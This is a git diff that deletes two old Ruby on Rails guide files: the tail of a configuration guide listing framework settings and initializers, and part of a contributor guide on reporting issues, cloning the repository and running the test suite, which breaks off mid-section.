-* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +config.active_record.schema_format == :ruby+.
-
-h4. Configuring Action Controller
-
-<tt>config.action_controller</tt> includes a number of configuration settings:
-
-* +config.action_controller.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.
-
-* +config.action_controller.asset_path+ takes a block which configures where assets can be found. Shorter version of +config.action_controller.asset_path+.
-
-* +config.action_controller.page_cache_directory+ should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>. For Rails, this directory has already been set to +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>). Changing this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your web server to look in the new location for cached files.
-
-* +config.action_controller.page_cache_extension+ configures the extension used for cached pages saved to +page_cache_directory+. Defaults to +.html+.
-
-* +config.action_controller.perform_caching+ configures whether the application should perform caching or not. Set to false in development mode, true in production.
-
-* +config.action_controller.default_charset+ specifies the default character set for all renders. The default is "utf-8".
-
-* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to +nil+ to disable logging.
-
-* +config.action_controller.request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
-
-* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is false in test mode and true in all other modes.
-
-* +config.action_controller.relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
-
-The caching code adds two additional settings:
-
-* +ActionController::Base.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>).
-
-* +ActionController::Base.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
-
-The Active Record session store can also be configured:
-
-* +ActiveRecord::SessionStore::Session.table_name+ sets the name of the table used to store sessions. Defaults to +sessions+.
-
-* +ActiveRecord::SessionStore::Session.primary_key+ sets the name of the ID column used in the sessions table. Defaults to +session_id+.
-
-* +ActiveRecord::SessionStore::Session.data_column_name+ sets the name of the column which stores marshaled session data. Defaults to +data+.
-
-h4. Configuring Action Dispatch
-
-* +config.action_dispatch.session_store+ sets the name of the store for session data. The default is +:cookie_store+; other valid options include +:active_record_store+, +:mem_cache_store+ or the name of your own custom class.
-
-* +config.action_dispatch.tld_length+ sets the TLD (top-level domain) length for the application. Defaults to +1+.
-
-* +ActionDispatch::Callbacks.before+ takes a block of code to run before the request.
-
-* +ActionDispatch::Callbacks.to_prepare+ takes a block to run after +ActionDispatch::Callbacks.before+, but before the request. Runs for every request in +development+ mode, but only once for +production+ or environments with +cache_classes+ set to +true+.
-
-* +ActionDispatch::Callbacks.after+ takes a block of code to run after the request.
-
-h4. Configuring Action View
-
-There are only a few configuration options for Action View, starting with four on +ActionView::Base+:
-
-* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is
-
-<ruby>
-Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe }
-</ruby>
-
-* +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+.
-
-* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging.
-
-* +config.action_view.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
-
-* +config.action_view.javascript_expansions+ is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as:
-
-<ruby>
-config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) }
-</ruby>
-
-However, you may add to this by defining others:
-
-<ruby>
-config.action_view.javascript_expansions[:prototype] = ['prototype', 'effects', 'dragdrop', 'controls']
-</ruby>
-
-And can reference in the view with the following code:
-
-<ruby>
-<%= javascript_include_tag :prototype %>
-</ruby>
-
-* +config.action_view.stylesheet_expansions+ works in much the same way as +javascript_expansions+, but has no default key. Keys defined for this hash can be referenced in the view like such:
-
-<ruby>
-<%= stylesheet_link_tag :special %>
-</ruby>
-
-* +config.action_view.cache_asset_ids+ With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running.
-
-h4. Configuring Action Mailer
-
-There are a number of settings available on +config.action_mailer+:
-
-* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging.
-
-* +config.action_mailer.smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
-** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
-** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
-** +:domain+ - If you need to specify a HELO domain, you can do it here.
-** +:user_name+ - If your mail server requires authentication, set the username in this setting.
-** +:password+ - If your mail server requires authentication, set the password in this setting.
-** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
-
-* +config.action_mailer.sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
-** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
-** +:arguments+ - The command line arguments. Defaults to +-i -t+.
-
-* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
-
-* +config.action_mailer.delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
-
-* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
-
-* +config.action_mailer.default+ configures Action Mailer defaults. These default to:
-<ruby>
-:mime_version => "1.0",
-:charset => "UTF-8",
-:content_type => "text/plain",
-:parts_order => [ "text/plain", "text/enriched", "text/html" ]
-</ruby>
-
-* +config.action_mailer.observers+ registers observers which will be notified when mail is delivered.
-<ruby>
-config.action_mailer.observers = ["MailObserver"]
-</ruby>
-
-* +config.action_mailer.interceptors+ registers interceptors which will be called before mail is sent.
-<ruby>
-config.action_mailer.interceptors = ["MailInterceptor"]
-</ruby>
-
-h4. Configuring Active Resource
-
-There is a single configuration setting available on +config.active_resource+:
-
-* +config.active_resource.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Resource. Set to +nil+ to disable logging.
-
-h4. Configuring Active Support
-
-There are a few configuration options available in Active Support:
-
-* +config.active_support.bare+ enables or disables the loading of +active_support/all+ when booting Rails. Defaults to +nil+, which means +active_support/all+ is loaded.
-
-* +config.active_support.escape_html_entities_in_json+ enables or disables the escaping of HTML entities in JSON serialization. Defaults to +true+.
-
-* +config.active_support.use_standard_json_time_format+ enables or disables serializing dates to ISO 8601 format. Defaults to +false+.
-
-* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-
-* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations.
-
-* +ActiveSupport::Deprecation.behavior+ alternative setter to +config.active_support.deprecation+ which configures the behavior of deprecation warnings for Rails.
-
-* +ActiveSupport::Deprecation.silence+ takes a block in which all deprecation warnings are silenced.
-
-* +ActiveSupport::Deprecation.silenced+ sets whether or not to display deprecation warnings.
-
-* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-
-
-h3. Rails Environment Settings
-
-Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
-
-* +ENV["RAILS_ENV"]+ defines the Rails environment (production, development, test, and so on) that Rails will run under.
-
-* +ENV["RAILS_RELATIVE_URL_ROOT"]+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
-
-* +ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets.
-
-* +ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
-
-
-h3. Using Initializer Files
-
-After loading the framework and any gems and plugins in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks, plugins and gems are loaded, such as options to configure settings for these parts.
-
-NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
-
-TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+.
-
-h3. Initialization events
-
-Rails has 5 initialization events which can be hooked into (listed in the order that they are ran):
-
-* +before_configuration+: This is run as soon as the application constant inherits from +Rails::Application+. The +config+ calls are evaluated before this happens.
-
-* +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process.
-
-* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+.
-
-* +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the _production_ environment and not for the +development+ environment.
-
-* +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run.
-
-To define an event for these hooks, use the block syntax within a +Rails::Aplication+, +Rails::Railtie+ or +Rails::Engine+ subclass:
-
-<ruby>
-module YourApp
- class Application < Rails::Application
- config.before_initialize do
- # initialization code goes here
- end
- end
-end
-</ruby>
-
-Alternatively, you can also do it through the +config+ method on the +Rails.application+ object:
-
-<ruby>
-Rails.application.config.before_initialize do
- # initialization code goes here
-end
-</ruby>
-
-WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
-
-h4. +Rails::Railtie#initializer+
-
-Rails has several initializers that run on startup that are all defined by using the +initializer+ method from +Rails::Railtie+. Here's an example of the +initialize_whiny_nils+ initializer from Active Support:
-
-<ruby>
-initializer "active_support.initialize_whiny_nils" do |app|
- require 'active_support/whiny_nil' if app.config.whiny_nils
-end
-</ruby>
-
-The +initializer+ method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The +:before+ key in the options hash can be specified to specify which initializer this new initializer must run before, and the +:after+ key will specify which initializer to run this initializer _after_.
-
-Initializers defined using the +initializer+ method will be ran in the order they are defined in, with the exception of ones that use the +:before+ or +:after+ methods.
-
-WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
-
-The block argument of the +initializer+ method is the instance of the application itself, and so we can access the configuration on it by using the +config+ method as done in the example.
-
-Because +Rails::Application+ inherits from +Rails::Railtie+ (indirectly), you can use the +initializer+ method in +config/application.rb+ to define initializers for the application.
-
-h4. Initializers
-
-Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).
-
-*+load_environment_hook+*
-Serves as a placeholder so that +:load_environment_config+ can be defined to run before it.
-
-*+load_active_support+* Requires +active_support/dependencies+ which sets up the basis for Active Support. Optionally requires +active_support/all+ if +config.active_support.bare+ is un-truthful, which is the default.
-
-*+preload_frameworks+* Loads all autoload dependencies of Rails automatically if +config.preload_frameworks+ is +true+ or "truthful". By default this configuration option is disabled. In Rails, when internal classes are referenced for the first time they are autoloaded. +:preload_frameworks+ loads all of this at once on initialization.
-
-*+initialize_logger+* Initializes the logger (an +ActiveSupport::BufferedLogger+ object) for the application and makes it accessible at +Rails.logger+, provided that no initializer inserted before this point has defined +Rails.logger+.
-
-*+initialize_cache+* If +RAILS_CACHE+ isn't set yet, initializes the cache by referencing the value in +config.cache_store+ and stores the outcome as +RAILS_CACHE+. If this object responds to the +middleware+ method, its middleware is inserted before +Rack::Runtime+ in the middleware stack.
-
-*+set_clear_dependencies_hook+* Provides a hook for +active_record.set_dispatch_hooks+ to use, which will run before this initializer. This initializer -- which runs only if +cache_classes+ is set to +false+ -- uses +ActionDispatch::Callbacks.after+ to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
-
-*+initialize_dependency_mechanism+* If +config.cache_classes+ is true, configures +ActiveSupport::Dependencies.mechanism+ to +require+ dependencies rather than +load+ them.
-
-*+bootstrap_hook+* Runs all configured +before_initialize+ blocks.
-
-*+i18n.callbacks+* In the development environment, sets up a +to_prepare+ callback which will call +I18n.reload!+ if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
-
-*+active_support.initialize_whiny_nils+* Requires +active_support/whiny_nil+ if +config.whiny_nils+ is true. This file will output errors such as:
-
-<plain>
- Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id
-</plain>
-
-And:
-
-<plain>
-You have a nil object when you didn't expect it!
-You might have expected an instance of Array.
-The error occurred while evaluating nil.each
-</plain>
-
-*+active_support.deprecation_behavior+* Sets up deprecation reporting for environments, defaulting to +:log+ for development, +:notify+ for production and +:stderr+ for test. If a value isn't set for +config.active_support.deprecation+ then this initializer will prompt the user to configure this line in the current environment's +config/environments+ file. Can be set to an array of values.
-
-*+active_support.initialize_time_zone+* Sets the default time zone for the application based on the +config.time_zone+ setting, which defaults to "UTC".
-
-*+action_dispatch.configure+* Configures the +ActionDispatch::Http::URL.tld_length+ to be set to the value of +config.action_dispatch.tld_length+.
-
-*+action_view.cache_asset_ids+* Sets +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ to +false+ when Active Support loads, but only if +config.cache_classes+ is too.
-
-*+action_view.javascript_expansions+* Registers the expansions set up by +config.action_view.javascript_expansions+ and +config.action_view.stylesheet_expansions+ to be recognized by Action View and therefore usable in the views.
-
-*+action_view.set_configs+* Sets up Action View by using the settings in +config.action_view+ by +send+'ing the method names as setters to +ActionView::Base+ and passing the values through.
-
-*+action_controller.logger+* Sets +ActionController::Base.logger+ -- if it's not already set -- to +Rails.logger+.
-
-*+action_controller.initialize_framework_caches+* Sets +ActionController::Base.cache_store+ -- if it's not already set -- to +RAILS_CACHE+.
-
-*+action_controller.set_configs+* Sets up Action Controller by using the settings in +config.action_controller+ by +send+'ing the method names as setters to +ActionController::Base+ and passing the values through.
-
-*+action_controller.compile_config_methods+* Initializes methods for the config settings specified so that they are quicker to access.
-
-*+active_record.initialize_timezone+* Sets +ActiveRecord::Base.time_zone_aware_attributes+ to true, as well as setting +ActiveRecord::Base.default_timezone+ to UTC. When attributes are read from the database, they will be converted into the time zone specified by +Time.zone+.
-
-*+active_record.logger+* Sets +ActiveRecord::Base.logger+ -- if it's not already set -- to +Rails.logger+.
-
-*+active_record.set_configs+* Sets up Active Record by using the settings in +config.active_record+ by +send+'ing the method names as setters to +ActiveRecord::Base+ and passing the values through.
-
-*+active_record.initialize_database+* Loads the database configuration (by default) from +config/database.yml+ and establishes a connection for the current environment.
-
-*+active_record.log_runtime+* Includes +ActiveRecord::Railties::ControllerRuntime+ which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
-
-*+active_record.set_dispatch_hooks+* Resets all reloadable connections to the database if +config.cache_classes+ is set to +false+.
-
-*+action_mailer.logger+* Sets +ActionMailer::Base.logger+ -- if it's not already set -- to +Rails.logger+.
-
-*+action_mailer.set_configs+* Sets up Action Mailer by using the settings in +config.action_mailer+ by +send+'ing the method names as setters to +ActionMailer::Base+ and passing the values through.
-
-*+action_mailer.compile_config_methods+* Initializes methods for the config settings specified so that they are quicker to access.
-
-*+active_resource.set_configs+* Sets up Active Resource by using the settings in +config.active_resource+ by +send+'ing the method names as setters to +ActiveResource::Base+ and passing the values through.
-
-*+set_load_path+* This initializer runs before +bootstrap_hook+. Adds the +vendor+, +lib+, all directories of +app+ and any paths specified by +config.load_paths+ to +$LOAD_PATH+.
-
-*+set_autoload_paths+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+.
-
-*+add_routing_paths+* Loads (by default) all +config/routes.rb+ files (in the application and railties, including engines) and sets up the routes for the application.
-
-*+add_locales+* Adds the files in +config/locales+ (from the application, railties and engines) to +I18n.load_path+, making available the translations in these files.
-
-*+add_view_paths+* Adds the directory +app/views+ from the application, railties and engines to the lookup path for view files for the application.
-
-*+load_environment_config+* Loads the +config/environments+ file for the current environment.
-
-*+append_asset_paths+* Finds asset paths for the application and all attached railties and keeps a track of the available directories in +config.static_asset_paths+.
-
-*+prepend_helpers_path+* Adds the directory +app/helpers+ from the application, railties and engines to the lookup path for helpers for the application.
-
-*+load_config_initializers+* Loads all Ruby files from +config/initializers+ in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks and plugins are loaded.
-
-*+engines_blank_point+* Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are ran.
-
-*+add_generator_templates+* Finds templates for generators at +lib/templates+ for the application, railities and engines and adds these to the +config.generators.templates+ setting, which will make the templates available for all generators to reference.
-
-*+ensure_autoload_once_paths_as_subset+* Ensures that the +config.autoload_once_paths+ only contains paths from +config.autoload_paths+. If it contains extra paths, then an exception will be raised.
-
-*+add_to_prepare_blocks+* The block for every +config.to_prepare+ call in the application, a railtie or engine is added to the +to_prepare+ callbacks for Action Dispatch which will be ran per request in development, or before the first request in production.
-
-*+add_builtin_route+* If the application is running under the development environment then this will append the route for +rails/info/properties+ to the application routes. This route provides the detailed information such as Rails and Ruby version for +public/index.html+ in a default Rails application.
-
-*+build_middleware_stack+* Builds the middleware stack for the application, returning an object which has a +call+ method which takes a Rack environment object for the request.
-
-*+eager_load!+* If +config.cache_classes+ is true, runs the +config.before_eager_load+ hooks and then calls +eager_load!+ which will load all the Ruby files from +config.eager_load_paths+.
-
-*+finisher_hook+* Provides a hook for after the initialization of process of the application is complete, as well as running all the +config.after_initialize+ blocks for the application, railties and engines.
-
-*+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+.
-
-*+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to true and +config.dependency_loading+ is set to false.
diff --git a/railties/guides/source/contributing_to_ruby_on_rails.textile b/railties/guides/source/contributing_to_ruby_on_rails.textile
deleted file mode 100644
index 5848172510..0000000000
--- a/railties/guides/source/contributing_to_ruby_on_rails.textile
+++ /dev/null
@@ -1,389 +0,0 @@
-h2. Contributing to Ruby on Rails
-
-This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails. After reading it, you should be familiar with:
-
-* Using GitHub to report issues
-* Cloning master and running the test suite
-* Helping to resolve existing issues
-* Contributing to the Ruby on Rails documentation
-* Contributing to the Ruby on Rails code
-
-Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation. All with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
-
-endprologue.
-
-h3. Reporting an Issue
-
-Ruby on Rails uses "GitHub Issue Tracking":https://github.com/rails/rails/issues to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to either submit an issue, comment on them or create pull requests.
-
-NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing.
-
-h4. Creating a Bug Report
-
-If you've found a problem in Ruby on Rails which is not a security risk do a search in GitHub Issues in case it was already reported. If you find no issue addressing it you can "add a new one":https://github.com/rails/rails/issues/new. (See the next section for reporting security issues.)
-
-At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need to at least post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix.
-
-Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment.
-
-h4. Special Treatment for Security Issues
-
-WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The "Rails security policy page":http://rubyonrails.org/security details the procedure to follow for security issues.
-
-h4. What About Feature Requests?
-
-Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
-
-h3. Running the Test Suite
-
-To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
-
-h4. Install git
-
-Ruby on Rails uses git for source code control. The "git homepage":http://git-scm.com/ has installation instructions. There are a variety of resources on the net that will help you get familiar with git:
-
-* "Everyday Git":http://www.kernel.org/pub/software/scm/git/docs/everyday.html will teach you just enough about git to get by.
-* The "PeepCode screencast":https://peepcode.com/products/git on git ($9) is easier to follow.
-* "GitHub":http://help.github.com offers links to a variety of git resources.
-* "Pro Git":http://progit.org/book/ is an entire book about git with a Creative Commons license.
-
-h4. Clone the Ruby on Rails Repository
-
-Navigate to the folder where you want the Ruby on Rails source code (it will create its own +rails+ subdirectory) and run:
-
-<shell>
-$ git clone git://github.com/rails/rails.git
-$ cd rails
-</shell>
-
-h4. Set up and Run the Tests
-
-The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
-
-Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's
-
-<shell>
-$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
-</shell>
-
-Also, SQLite3 and its development files for the +sqlite3-ruby+ gem, in Ubuntu you're done with
-
-<shell>
-$ sudo apt-get install sqlite3 libsqlite3-dev
-</shell>
-
-Get a recent version of "Bundler":http://gembundler.com/:
-
-<shell>
-$ gem install bundler
-</shell>
-
-and run:
-
-<shell>
-$ bundle install --without db
-</shell>
-
-This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back at these soon. With dependencies installed, you can run the test suite with:
-
-<shell>
-$ rake test
-</shell>
-
-You can also run tests for a specific framework, like Action Pack, by going into its directory and executing the same command:
-
-<shell>
-$ cd actionpack
-$ rake test
-</shell>
-
-If you want to run tests from the specific directory use the +TEST_DIR+ environment variable. For example, this will run tests inside +railties/test/generators+ directory only:
-
-<shell>
-$ cd railties
-$ TEST_DIR=generators rake test
-</shell>
-
-h4. Warnings
-
-The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no warning, but there may be a few, and also some from third-party libraries. Please ignore (or fix!) them if any, and submit patches that do not issue new warnings.
-
-As of this writing they are specially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
-
-<shell>
-$ RUBYOPT=-W0 rake test
-</shell>
-
-h4. Testing Active Record
-
-The test suite of Active Record attempts to run four times, once for SQLite3, once for each of the two MySQL gems (+mysql+ and +mysql2+), and once for PostgreSQL. We are going to see now how to setup the environment for them.
-
-WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
-
-h5. Set up Database Configuration
-
-The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment.
-
-h5. SQLite3
-
-The gem +sqlite3-ruby+ does not belong to the "db" group indeed, if you followed the instructions above you're ready. This is how you run the Active Record test suite only for SQLite3:
-
-<shell>
-$ cd activerecord
-$ rake test_sqlite3
-</shell>
-
-h5. MySQL and PostgreSQL
-
-To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
-
-<shell>
-$ sudo apt-get install mysql-server libmysqlclient15-dev
-$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
-</shell>
-
-After that run:
-
-<shell>
-$ rm .bundle/config
-$ bundle install
-</shell>
-
-We need first to delete +.bundle/config+ because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
-
-In order to be able to run the test suite against MySQL you need to create a user named +rails+ with privileges on the test databases:
-
-<shell>
-mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
- to 'rails'@'localhost';
-mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
- to 'rails'@'localhost';
-</shell>
-
-and create the test databases:
-
-<shell>
-$ cd activerecord
-$ rake mysql:build_databases
-</shell>
-
-PostgreSQL's authentication works differently. A simple way to setup the development environment for example is to run with your development account
-
-<shell>
-$ sudo -u postgres createuser --superuser $USER
-</shell>
-
-and after that create the test databases with
-
-<shell>
-$ cd activerecord
-$ rake postgresql:build_databases
-</shell>
-
-NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
-
-If you’re using another database, check the files under +activerecord/test/connections+ for default connection information. You can edit these files if you _must_ on your machine to provide different credentials, but obviously you should not push any such changes back to Rails.
-
-You can now run tests as you did for +sqlite3+, the tasks are
-
-<shell>
-test_mysql
-test_mysql2
-test_postgresql
-</shell>
-
-respectively. As we mentioned before
-
-<shell>
-$ rake test
-</shell>
-
-will now run the four of them in turn.
-
-You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the continuous integration server runs.
-
-h4. Older versions of Ruby on Rails
-
-If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
-
-<shell>
-$ git branch --track 3-0-stable origin/3-0-stable
-$ git checkout 3-0-stable
-</shell>
-
-TIP: You may want to "put your git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with.
-
-h3. Helping to Resolve Existing Issues
-
-As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues?sort=created&direction=desc&state=open&page=1 list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
-
-h4. Verifying Bug Reports
-
-For starters, it helps to just verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.
-
-If something is very vague, can you help squish it down into something specific? Maybe you can provide additional information to help reproduce a bug, or eliminate needless steps that aren't required to help demonstrate the problem.
-
-If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
-
-Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
-
-h4. Testing Patches
-
-You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need to first create a dedicated branch:
-
-<shell>
-$ git checkout -b testing_branch
-</shell>
-
-Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to the topic branch located at https://github.com/JohnSmith/rails.
-
-<shell>
-$ git remote add JohnSmith git://github.com/JohnSmith/rails.git
-$ git pull JohnSmith topic
-</shell>
-
-After applying their branch, test it out! Here are some things to think about:
-
-* Does the change actually work?
-* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
-* Does it have proper documentation coverage? Should documentation elsewhere be updated?
-* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
-
-Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
-
-<blockquote>
-I like the way you've restructured that code in generate_finder_sql, much nicer. The tests look good too.
-</blockquote>
-
-If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
-
-h3. Contributing to the Rails Documentation
-
-Ruby on Rails has two main sets of documentation: The guides help you to learn Ruby on Rails, and the API is a reference.
-
-You can help improve the Rails guides by making them more coherent, adding missing information, correcting factual errors, fixing typos, bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides.
-
-If you're confident about your changes, you can push them yourself directly via "docrails":https://github.com/lifo/docrails. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
-
-If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub.
-
-When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html.
-
-NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements.
-
-WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
-
-h3. Contributing to the Rails Code
-
-h4. Clone the Rails Repository
-
-The first thing you need to do to be able to contribute code is to clone the repository:
-
-<shell>
-$ git clone git://github.com/rails/rails.git
-</shell>
-
-and create a dedicated branch:
-
-<shell>
